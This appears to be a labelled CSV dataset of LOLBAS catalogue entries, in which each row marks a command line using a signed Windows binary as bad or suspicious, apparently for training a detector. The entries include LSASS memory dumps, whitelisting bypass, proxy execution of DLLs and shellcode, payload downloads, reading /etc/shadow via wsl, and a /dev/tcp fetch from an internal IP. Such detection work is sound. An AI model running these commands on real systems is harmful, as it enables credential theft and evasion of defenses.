abe73804c53aadf064a2c886,"logger.exe ""{CMD}""","logger.exe ""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Logger.yml,Logger.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]",Windows,0.85,False,Executes the command specified as a child of `logger.exe`.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ffcb914db2ccc117e88cbb0a,WFMFormat.exe,WFMFormat.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/WFMFormat.yml,WFMFormat.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}, {""Requires"": "".NET Framework 3.5""}]","Windows 10, Windows 11",0.85,False,"Executes the file `tracerpt.exe` in the same folder as `WFMFormat.exe`. If the file `dumpfile.txt` (any content) exists in the current working directory, no arguments are required. Note that `WFMFormat.exe` requires .NET Framework 3.5.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ecb03207a86682461c251174,dnx.exe {PATH_ABSOLUTE:folder},dnx.exe {PATH_ABSOLUTE:folder},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Dnx.yml,dnx.exe,Execute,"[""T1127"", {""Execute"": ""CSharp""}]",Windows,0.85,False,Execute C# code located in the specified folder via 'Program.cs' and 'Project.json' (Note - Requires dependencies),primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
da120c19de72cd500685e1f1,dump64.exe {PID} out.dmp,dump64.exe {PID} out.dmp,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Dump64.yml,Dump64.exe,Dump,"[""T1003.001""]","Windows 10, Windows 11",0.85,False,Creates a memory dump of the LSASS process.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c004a18f0fc34133a5af510c,adplus.exe -hang -pn lsass.exe -o {PATH_ABSOLUTE:folder} -quiet,adplus.exe -hang -pn lsass.exe -o {PATH_ABSOLUTE:folder} -quiet,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Adplus.yml,adplus.exe,Dump,"[""T1003.001""]",All Windows,0.85,False,Creates a memory dump of the lsass process,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8bd8f841742b6ab8039884e4,adplus.exe -c {PATH:.xml},adplus.exe -c {PATH:.xml},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Adplus.yml,adplus.exe,Execute,"[""T1127"", {""Execute"": ""CMD""}]",All Windows,0.85,False,Execute arbitrary commands using adplus config file (see Resources section for a sample file).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5caab676f69bc1dd29674bb0,"adplus.exe -crash -o ""{PATH_ABSOLUTE:folder}"" -sc {PATH:.exe}","adplus.exe -crash -o ""{PATH_ABSOLUTE:folder}"" -sc {PATH:.exe}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Adplus.yml,adplus.exe,Execute,"[""T1127"", {""Execute"": ""CMD""}, {""Execute"": ""EXE""}]",All windows,0.85,False,Execute arbitrary commands and binaries from the context of adplus. Note that providing an output directory via '-o' is required.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a67008464a3fc647183cc47d,devinit.exe run -t msi-install -i {REMOTEURL:.msi},devinit.exe run -t msi-install -i {REMOTEURL:.msi},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Devinit.yml,Devinit.exe,Execute,"[""T1218.007"", {""Execute"": ""MSI""}, {""Execute"": ""Remote""}]","Windows 10, Windows 11",0.85,False,Downloads an MSI file to C:\Windows\Installer and then installs it.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4ba2cc300dacd00d1e806673,Mftrace.exe {PATH:.exe},Mftrace.exe {PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Mftrace.yml,Mftrace.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}]",Windows,0.85,False,Launch specified executable as a subprocess of Mftrace.exe.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
69563afaeed98bd4888bc2a0,nmcap.exe /network * /capture /file {PATH_ABSOLUTE:.cap},nmcap.exe /network * /capture /file {PATH_ABSOLUTE:.cap},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Nmcap.yml,Nmcap.exe,Reconnaissance,"[""T1040""]",Windows,0.85,False,"Start capture on all network adapters and save to specified .cap (circular) file.
Optionally, one can add:
- `/TerminateWhen /TimeAfter 30 seconds` to auto-terminate after a relative times (e.g. 30 seconds);
- `/TerminateWhen /Time 04:52:00 AM 9/17/2025` to auto-terminate after a specific date/time;
- `/TerminateWhen /KeyPress x` to terminate when a specific key is pressed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c98d4a17c8b5e11fbacc4c54,"devtoolslauncher.exe LaunchForDeploy {PATH_ABSOLUTE:.exe} ""{CMD:args}"" test","devtoolslauncher.exe LaunchForDeploy {PATH_ABSOLUTE:.exe} ""{CMD:args}"" test",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Devtoolslauncher.yml,Devtoolslauncher.exe,Execute,"[""T1127"", {""Execute"": ""CMD""}]",Windows,0.85,False,The above binary will execute other binary.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cee999925f702d5ba647006e,"devtoolslauncher.exe LaunchForDebug {PATH_ABSOLUTE:.exe} ""{CMD:args}"" test","devtoolslauncher.exe LaunchForDebug {PATH_ABSOLUTE:.exe} ""{CMD:args}"" test",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Devtoolslauncher.yml,Devtoolslauncher.exe,Execute,"[""T1127"", {""Execute"": ""CMD""}]",Windows,0.85,False,The above binary will execute other binary.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a6cdd64c583c1c426cad5248,csi.exe {PATH:.cs},csi.exe {PATH:.cs},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Csi.yml,csi.exe,Execute,"[""T1127"", {""Execute"": ""CSharp""}]",Windows,0.85,False,Use csi.exe to run unsigned C# code.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8a5a5aa35d26bb2b7c5a9f96,Dxcap.exe -c {PATH_ABSOLUTE:.exe},Dxcap.exe -c {PATH_ABSOLUTE:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Dxcap.yml,Dxcap.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}]",Windows,0.85,False,"Launch specified executable as a subprocess of dxcap.exe. Note that you should have write permissions in the current working directory for the command to succeed; alternatively, add '-file c:\path\to\writable\location.ext' as first argument.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6cfe5f31f5aa07ff07fc14c0,dxcap.exe -usage,dxcap.exe -usage,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Dxcap.yml,Dxcap.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}, {""Requires"": ""Rename""}]","Windows 10, Windows 11",0.85,False,"Once executed, `dxcap.exe` will execute `xperf.exe` in the same folder. Thus, if `dxcap.exe` is copied to a folder and an arbitrary executable is renamed to `xperf.exe`, `dxcap.exe` will spawn it.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ce046a6c66772e43fcb5b546,Tracker.exe /d {PATH:.dll} /c C:\Windows\write.exe,Tracker.exe /d {PATH:.dll} /c C:\Windows\write.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Tracker.yml,Tracker.exe,Execute,"[""T1127"", {""Execute"": ""DLL""}]",Windows,0.85,False,Use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bdd25ba9bb478d314f1cb8b2,"DefaultPack.EXE /C:""{CMD}""","DefaultPack.EXE /C:""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/DefaultPack.yml,DefaultPack.EXE,Execute,"[""T1218"", {""Execute"": ""CMD""}]",Windows,0.85,False,"Use DefaultPack.EXE to execute arbitrary binaries, with added argument support.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
055e94d900c1d38b995db5be,teams.exe,teams.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Teams.yml,Teams.exe,Execute,"[""T1218.015"", {""Execute"": ""Node.JS""}]","Windows 10, Windows 11",0.85,False,"Generate JavaScript payload and package.json, and save to ""%LOCALAPPDATA%\\Microsoft\\Teams\\current\\app\\"" before executing.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a289fff7ae7ede54a9f30192,"teams.exe --disable-gpu-sandbox --gpu-launcher=""{CMD} &&""","teams.exe --disable-gpu-sandbox --gpu-launcher=""{CMD} &&""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Teams.yml,Teams.exe,Execute,"[""T1218.015"", {""Execute"": ""CMD""}]","Windows 10, Windows 11",0.85,False,Teams spawns cmd.exe as a child process of teams.exe and executes the ping command,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b43d141d7df9d7776d5fb701,cdb.exe -cf {PATH:.wds} -o notepad.exe,cdb.exe -cf {PATH:.wds} -o notepad.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Cdb.yml,Cdb.exe,Execute,"[""T1127"", {""Execute"": ""Shellcode""}]",Windows,0.85,False,Launch 64-bit shellcode from the specified .wds file using cdb.exe.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
05f32d47c7a3d6446e8bb36b,cdb.exe -pd -pn {process_name} .shell {CMD},cdb.exe -pd -pn {process_name} .shell {CMD},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Cdb.yml,Cdb.exe,Execute,"[""T1127"", {""Execute"": ""CMD""}]",Windows,0.85,False,Attaching to any process and executing shell commands.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0e5afc30dbbe85a35e39a897,"cdb.exe -c {PATH:.txt} ""{CMD}""","cdb.exe -c {PATH:.txt} ""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Cdb.yml,Cdb.exe,Execute,"[""T1127"", {""Execute"": ""CMD""}]",Windows,0.85,False,Execute arbitrary commands and binaries using a debugging script (see Resources section for a sample file).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c9921d1cb537eea04e7775b0,xsd.exe {REMOTEURL},xsd.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/xsd.yml,xsd.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]",Windows,0.85,False,Downloads payload from remote server,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9f81ec61889efe2f71670c0b,fsianycpu.exe {PATH:.fsscript},fsianycpu.exe {PATH:.fsscript},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/FsiAnyCpu.yml,FsiAnyCpu.exe,AWL Bypass,"[""T1059"", {""Execute"": ""FSharp""}]",Windows 10 2004 (likely previous and newer versions as well),0.85,False,Execute F# code via script file,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2c12f1364666f45d2514aabb,fsianycpu.exe,fsianycpu.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/FsiAnyCpu.yml,FsiAnyCpu.exe,AWL Bypass,"[""T1059"", {""Execute"": ""FSharp""}]",Windows 10 2004 (likely previous and newer versions as well),0.85,False,Execute F# code via interactive command line,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f33440e997a907fada189f7c,mpiexec.exe {CMD},mpiexec.exe {CMD},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Mpiexec.yml,Mpiexec.exe,Execute,"[""T1127"", {""Execute"": ""CMD""}]",Windows,0.85,False,Executes a command via MPI command-line tool.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c450299913965a59c73cd1c1,OpenConsole.exe {PATH:.exe},OpenConsole.exe {PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/OpenConsole.yml,OpenConsole.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Execute specified process with OpenConsole.exe as parent process,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f61a2523e4cf6cd9a1a1226e,winfile.exe {PATH:.exe},winfile.exe {PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/winfile.yml,winfile.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Execute an executable file with WinFile as a parent process.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3f53fe42d756b3a4fe17c7ed,coregen.exe /L {PATH_ABSOLUTE:.dll} dummy_assembly_name,coregen.exe /L {PATH_ABSOLUTE:.dll} dummy_assembly_name,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Coregen.yml,coregen.exe,Execute,"[""T1055"", {""Execute"": ""DLL""}]",Windows,0.85,False,Loads the target .DLL in arbitrary path specified with /L.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
648d6d51653c24ad53c533f1,coregen.exe dummy_assembly_name,coregen.exe dummy_assembly_name,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Coregen.yml,coregen.exe,Execute,"[""T1055"", {""Execute"": ""DLL""}]",Windows,0.85,False,Loads the coreclr.dll in the corgen.exe directory (e.g. C:\Program Files\Microsoft Silverlight\5.1.50918.0).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
236fb901dad1a80ce13f44b0,vstest.console.exe {PATH:.dll},vstest.console.exe {PATH:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/vstest.console.yml,vstest.console.exe,AWL Bypass,"[""T1127"", {""Execute"": ""DLL""}]","Windows 10, Windows 11",0.85,False,VSTest functionality may allow an adversary to executes their malware by wrapping it as a test method then build it to a .exe or .dll file to be later run by vstest.console.exe. This may both allow AWL bypass or defense bypass in general,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2f508ea63e82964959bd6fec,appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.exe} -reportoutputpath {PATH_ABSOLUTE:.xml},appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.exe} -reportoutputpath {PATH_ABSOLUTE:.xml},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Appcert.yml,AppCert.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}]",Windows,0.85,False,Execute an executable file via the Windows App Certification Kit command-line tool.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
efc1bd5cdc43db651217fb71,appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.msi} -setupcommandline /q -reportoutputpath {PATH_ABSOLUTE:.xml},appcert.exe test -apptype desktop -setuppath {PATH_ABSOLUTE:.msi} -setupcommandline /q -reportoutputpath {PATH_ABSOLUTE:.xml},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Appcert.yml,AppCert.exe,Execute,"[""T1218.007"", {""Execute"": ""MSI""}]",Windows,0.85,False,Install an MSI file via an msiexec instance spawned via appcert.exe as parent process.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a5858c1f8281ab62c31b5f8b,vshadow.exe -nw -exec={PATH_ABSOLUTE:.exe} C:,vshadow.exe -nw -exec={PATH_ABSOLUTE:.exe} C:,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Vshadow.yml,Vshadow.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Executes specified executable from vshadow.exe.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dcdaf1a6fab77acbbbb81084,mspub.exe {REMOTEURL},mspub.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Mspub.yml,Mspub.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]","Windows 10, Windows 11",0.85,False,Downloads payload from remote server,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
40f9f879281797efc45ba39e,wsl.exe -e /mnt/c/Windows/System32/calc.exe,wsl.exe -e /mnt/c/Windows/System32/calc.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Wsl.yml,Wsl.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]","Windows 10, Windows Server 2019, Windows 11",0.85,False,Executes calc.exe from wsl.exe,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
10ed2fb2fef607e10258dda1,wsl.exe -u root -e cat /etc/shadow,wsl.exe -u root -e cat /etc/shadow,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Wsl.yml,Wsl.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]","Windows 10, Windows Server 2019, Windows 11",0.85,False,Cats /etc/shadow file as root,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e974e51d04e27a2de9033da6,"wsl.exe --exec bash -c ""{CMD}""","wsl.exe --exec bash -c ""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Wsl.yml,Wsl.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]","Windows 10, Windows Server 2019, Windows 11",0.85,False,Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`),primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
78cb7905f0a2105712ee2324,wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary',wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary',bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Wsl.yml,Wsl.exe,Download,"[""T1105""]","Windows 10, Windows Server 2019, Windows 11",0.85,False,Downloads file from 192.168.1.10,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ffb1f0ce36bcd0305f8ef410,wsl.exe,wsl.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Wsl.yml,Wsl.exe,Execute,"[""T1218"", {""Execute"": ""CMD""}]","Windows 10, Windows Server 2019, Windows 11",0.85,False,"When executed, `wsl.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
95a8ccddd48f09aa2577153f,bginfo.exe {PATH:.bgi} /popup /nolicprompt,bginfo.exe {PATH:.bgi} /popup /nolicprompt,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Bginfo.yml,Bginfo.exe,Execute,"[""T1218"", {""Execute"": ""WSH""}]",Windows,0.85,False,Execute VBscript code that is referenced within the specified .bgi file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
64faf2de6d3a5692cac08781,\\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicprompt,\\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicprompt,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Bginfo.yml,Bginfo.exe,Execute,"[""T1218"", {""Execute"": ""WSH""}]",Windows,0.85,False,Execute bginfo.exe from a WebDAV server.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0e59dde8495d8372ac07a9e4,\\live.sysinternals.com\Tools\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt,\\live.sysinternals.com\Tools\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Bginfo.yml,Bginfo.exe,Execute,"[""T1218"", {""Execute"": ""WSH""}, {""Execute"": ""Remote""}]",Windows,0.85,False,This style of execution may not longer work due to patch.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6115e9356b00332bade3b64f,squirrel.exe --download {REMOTEURL},squirrel.exe --download {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Squirrel.yml,Squirrel.exe,Download,"[""T1218""]",Windows 7 and up with Microsoft Teams installed,0.85,False,The above binary will go to url and look for RELEASES file and download the nuget package.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
735d46c9e8d1d52a7fa85eba,squirrel.exe --update {REMOTEURL},squirrel.exe --update {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Squirrel.yml,Squirrel.exe,AWL Bypass,"[""T1218"", {""Execute"": ""Nuget""}, {""Execute"": ""Remote""}]",Windows 7 and up with Microsoft Teams installed,0.85,False,"The above binary will go to url and look for RELEASES file, download and install the nuget package.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9be67260d78ebefda0cc8de8,squirrel.exe --updateRollback={REMOTEURL},squirrel.exe --updateRollback={REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Squirrel.yml,Squirrel.exe,AWL Bypass,"[""T1218"", {""Execute"": ""Nuget""}, {""Execute"": ""Remote""}]",Windows 7 and up with Microsoft Teams installed,0.85,False,"The above binary will go to url and look for RELEASES file, download and install the nuget package.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
86dd72c0ddc275eec2802a67,Powerpnt.exe {REMOTEURL},Powerpnt.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Powerpnt.yml,Powerpnt.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]",Windows,0.85,False,Downloads payload from remote server,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
09901d4543f23cb73038cab7,VSDiagnostics.exe start 1 /launch:{PATH:.exe},VSDiagnostics.exe start 1 /launch:{PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/VSDiagnostics.yml,VSDiagnostics.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Starts a collection session with sessionID 1 and calls kernelbase.CreateProcessW to launch specified executable.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
56d78716f1c82c120454ebaf,"VSDiagnostics.exe start 2 /launch:{PATH:.exe} /launchArgs:""{CMD:args}""","VSDiagnostics.exe start 2 /launch:{PATH:.exe} /launchArgs:""{CMD:args}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/VSDiagnostics.yml,VSDiagnostics.exe,Execute,"[""T1127"", {""Execute"": ""CMD""}]","Windows 10, Windows 11",0.85,False,Starts a collection session with sessionID 2 and calls kernelbase.CreateProcessW to launch specified executable. Arguments specified in launchArgs are passed to CreateProcessW.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
18ba8d4431fbede5b9567fb6,AppVLP.exe {PATH_SMB:.bat},AppVLP.exe {PATH_SMB:.bat},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Appvlp.yml,Appvlp.exe,Execute,"[""T1218"", {""Execute"": ""CMD""}]",Windows 10 w/Office 2016,0.85,False,Executes .bat file through AppVLP.exe,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5d9a3b73a66b70b0bc2a0b54,"AppVLP.exe powershell.exe -c ""$e=New-Object -ComObject shell.application;$e.ShellExecute('{PATH:.exe}','', '', 'open', 1)""","AppVLP.exe powershell.exe -c ""$e=New-Object -ComObject shell.application;$e.ShellExecute('{PATH:.exe}','', '', 'open', 1)""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Appvlp.yml,Appvlp.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}]",Windows 10 w/Office 2016,0.85,False,Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
91effe1f8d529aaffd8a9f29,SQLToolsPS.exe -noprofile -command Start-Process {PATH:.exe},SQLToolsPS.exe -noprofile -command Start-Process {PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Sqltoolsps.yml,SQLToolsPS.exe,Execute,"[""T1218"", {""Execute"": ""PowerShell""}]",Windows,0.85,False,Run a SQL Server PowerShell mini-console without Module and ScriptBlock Logging.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d4a2f3506a873f9d9db1b416,ntsd.exe -g {CMD},ntsd.exe -g {CMD},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Ntsd.yml,Ntsd.exe,Execute,"[""T1127"", {""Execute"": ""CMD""}]",Windows,0.85,False,Launches command through the debugging process; optionally add `-G` to exit the debugger automatically.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
76c251be03ffae146ef37cd4,vsls-agent.exe --agentExtensionPath {PATH_ABSOLUTE:.dll},vsls-agent.exe --agentExtensionPath {PATH_ABSOLUTE:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/vsls-agent.yml,vsls-agent.exe,Execute,"[""T1218"", {""Execute"": ""DLL""}]",Windows 10 21H2 (likely previous and newer versions with modern versions of Visual Studio installed),0.85,False,Load a library payload using the --agentExtensionPath parameter (32-bit),primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3954805ca29530869d34db82,dtutil.exe /FILE {PATH_ABSOLUTE:.source.ext} /COPY FILE;{PATH_ABSOLUTE:.dest.ext},dtutil.exe /FILE {PATH_ABSOLUTE:.source.ext} /COPY FILE;{PATH_ABSOLUTE:.dest.ext},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Dtutil.yml,dtutil.exe,Copy,"[""T1105""]",Windows,0.85,False,Copy file from source to destination,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5542aea910e3288804f2c0f2,Visio.exe {REMOTEURL},Visio.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Visio.yml,Visio.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]",Windows,0.85,False,Downloads payload from remote server,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
701d3b5cbe52b145d9e6936b,WinProj.exe {REMOTEURL},WinProj.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Winproj.yml,WinProj.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]",Windows,0.85,False,Downloads payload from remote server,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
13c687c56ee37dae57d339ab,procdump.exe -md {PATH:.dll} explorer.exe,procdump.exe -md {PATH:.dll} explorer.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Procdump.yml,Procdump.exe,Execute,"[""T1202"", {""Execute"": ""DLL""}]","Windows 8.1 and higher, Windows Server 2012 and higher",0.85,False,Loads the specified DLL where DLL is configured with a 'MiniDumpCallbackRoutine' exported function. Valid process must be provided as dump still created.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
